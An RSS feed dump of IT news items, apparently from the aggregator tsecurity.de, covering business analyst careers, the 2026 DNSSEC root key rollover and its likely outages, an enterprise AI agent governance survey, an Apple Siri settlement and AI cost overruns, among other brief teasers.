<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SBOM/CVE: The Duck and Cover of Cyber War]]></title>
<description><![CDATA[We are doing security drills diligently for the wrong catastrophe. Here is what actually duck and cover for cyber threat looks like. By Dr. Arun Lakhotia In the tense years of… The post SBOM/CVE: The Duck and Cover of Cyber War…
Read more →
The post SBOM/CVE: The Duck and Cover of Cyber War appea...]]></description>
<link>https://tsecurity.de/de/3692298/it-security-nachrichten/sbomcve-the-duck-and-cover-of-cyber-war/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692298/it-security-nachrichten/sbomcve-the-duck-and-cover-of-cyber-war/</guid>
<pubDate>Fri, 24 Jul 2026 20:43:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We are doing security drills diligently for the wrong catastrophe. Here is what actually duck and cover for cyber threat looks like. By Dr. Arun Lakhotia In the tense years of… The post SBOM/CVE: The Duck and Cover of Cyber War…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/sbom-cve-the-duck-and-cover-of-cyber-war/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/sbom-cve-the-duck-and-cover-of-cyber-war/">SBOM/CVE: The Duck and Cover of Cyber War</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SBOM/CVE: The Duck and Cover of Cyber War]]></title>
<description><![CDATA[We are doing security drills diligently for the wrong catastrophe. Here is what actually duck and cover for cyber threat looks like. By Dr. Arun Lakhotia In the tense years of...
The post SBOM/CVE: The Duck and Cover of Cyber War appeared first on Cyber Defense Magazine.]]></description>
<link>https://tsecurity.de/de/3692262/it-security-nachrichten/sbomcve-the-duck-and-cover-of-cyber-war/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692262/it-security-nachrichten/sbomcve-the-duck-and-cover-of-cyber-war/</guid>
<pubDate>Fri, 24 Jul 2026 20:18:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="900" height="600" src="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/arunarticlejul26.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" loading="lazy" srcset="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/arunarticlejul26.jpg 900w, https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/arunarticlejul26-768x512.jpg 768w" sizes="auto, (max-width: 900px) 100vw, 900px"><p>We are doing security drills diligently for the wrong catastrophe. Here is what actually duck and cover for cyber threat looks like. By Dr. Arun Lakhotia In the tense years of...</p>
<p>The post <a href="https://www.cyberdefensemagazine.com/sbom-cve-the-duck-and-cover-of-cyber-war/" data-wpel-link="internal">SBOM/CVE: The Duck and Cover of Cyber War</a> appeared first on <a href="https://www.cyberdefensemagazine.com/" data-wpel-link="internal">Cyber Defense Magazine</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s $250 Million Siri Settlement Approved, iPhone Users Could Get Up to $95]]></title>
<description><![CDATA[Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take act...]]></description>
<link>https://tsecurity.de/de/3692182/ios-mac-os/apples-250-million-siri-settlement-approved-iphone-users-could-get-up-to-95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692182/ios-mac-os/apples-250-million-siri-settlement-approved-iphone-users-could-get-up-to-95/</guid>
<pubDate>Fri, 24 Jul 2026 19:20:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take action at this stage.



The lawsuit followed Apple’s decision to delay several Siri features that it had promoted alongside Apple Intelligence in June 2024. These features included personal context awareness, on-screen understanding, and deeper controls inside supported apps.



Apple used product presentations, its website, and a television advertisement featuring Bella Ramsey to promote the new Siri experience. However, the company delayed the personalised Siri upgrade in March 2025, which led customers to file a class action lawsuit over alleged false advertising.



Who qualifies for the Apple Siri settlement?



Eligible users must live in the United States and must have purchased one of the following iPhone models between June 10, 2024, and March 29, 2025:




iPhone 15 Pro



iPhone 15 Pro Max



iPhone 16



iPhone 16e



iPhone 16 Plus



iPhone 16 Pro



iPhone 16 Pro Max




Customers will likely need to provide purchase details, a serial number, or other device information when submitting a claim. The final requirements will appear on the official settlement website once it goes live.



Each approved claim will receive an estimated payment of $25 per eligible device. However, the payout can rise to as much as $95 if fewer people submit valid claims than expected.



According to the July 17 court document, eligible customers should receive email notices within about 45 days of preliminary approval. Customers who do not receive an email can still submit a claim if they meet the eligibility requirements.



Apple announced its revamped Siri system at WWDC 2026, and the assistant is now available through the iOS 27 developer beta. Apple plans to release iOS 27 publicly in September for the iPhone 15 Pro and newer models.]]></content:encoded>
</item>
<item>
<title><![CDATA[Silicon Valley Is Completely Divided Over Chinese AI]]></title>
<description><![CDATA[The AI “startups” worth billions of dollars are raising alarm bells about Chinese AI. The smaller players have a totally different take.]]></description>
<link>https://tsecurity.de/de/3691890/it-nachrichten/silicon-valley-is-completely-divided-over-chinese-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691890/it-nachrichten/silicon-valley-is-completely-divided-over-chinese-ai/</guid>
<pubDate>Fri, 24 Jul 2026 17:20:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI “startups” worth billions of dollars are raising alarm bells about Chinese AI. The smaller players have a totally different take.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI's Biggest Hidden Security Flaw]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12 Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing...]]></description>
<link>https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/</guid>
<pubDate>Fri, 24 Jul 2026 16:22:44 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/zKXmtFm-Gyw?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing reasoning-style text.<br />
<br />
That makes prompt or command injection a persistent security challenge and highlights an important limitation: fluent explanations aren't necessarily evidence of genuine reasoning or understanding. Developers need additional safeguards instead of assuming the model can reliably separate trustworthy instructions from malicious ones.<br />
<br />
Should future AI models include stronger architectural separation between trusted instructions and user input, or can software safeguards solve the problem?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#LLM #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DEF CON Middle East Postponed]]></title>
<description><![CDATA[The safety of our community is our highest priority.
    For this reason, we have decided to postpone DEF CON Middle East. The evolving security situation in the region makes it impossible to concentrate on delivering the experience attendees deserve.
    We understand that this news is disappoin...]]></description>
<link>https://tsecurity.de/de/3691751/hacking/def-con-middle-east-postponed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691751/hacking/def-con-middle-east-postponed/</guid>
<pubDate>Fri, 24 Jul 2026 16:07:28 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img src="https://defcon.org/images/defcon-middle-east/dcme-postponed.webp" alt="DEF CON Middle East postponed"> </p>

    <p>The safety of our community is our highest priority.<br><br>
    For this reason, we have decided to postpone DEF CON Middle East. The evolving security situation in the region makes it impossible to concentrate on delivering the experience attendees deserve.<br><br>
    We understand that this news is disappointing, but we believe it's the most responsible choice right now. We look forward to bringing the full DEF CON experience to friends new and old in Bahrain, and we will share new dates and information as soon as they are confirmed.<br><br>
    In the meantime, we'd like to offer our sincere thanks to the community, sponsors, and supporters for their understanding and continued trust. We hope and expect to welcome you to DEF CON Middle East soon, under better circumstances for everyone.<br><br>
    -The DEF CON Middle East Team</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Language Model Hallucination Evaluation with GraphEval]]></title>
<description><![CDATA[Turning the key principles and methodological stages of GraphEval into a simulated practical scenario to better understand its usefulness and key implications in understanding and combating LLM hallucinations.]]></description>
<link>https://tsecurity.de/de/3691615/ai-nachrichten/language-model-hallucination-evaluation-with-grapheval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691615/ai-nachrichten/language-model-hallucination-evaluation-with-grapheval/</guid>
<pubDate>Fri, 24 Jul 2026 15:05:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Turning the key principles and methodological stages of GraphEval into a simulated practical scenario to better understand its usefulness and key implications in understanding and combating LLM hallucinations.]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



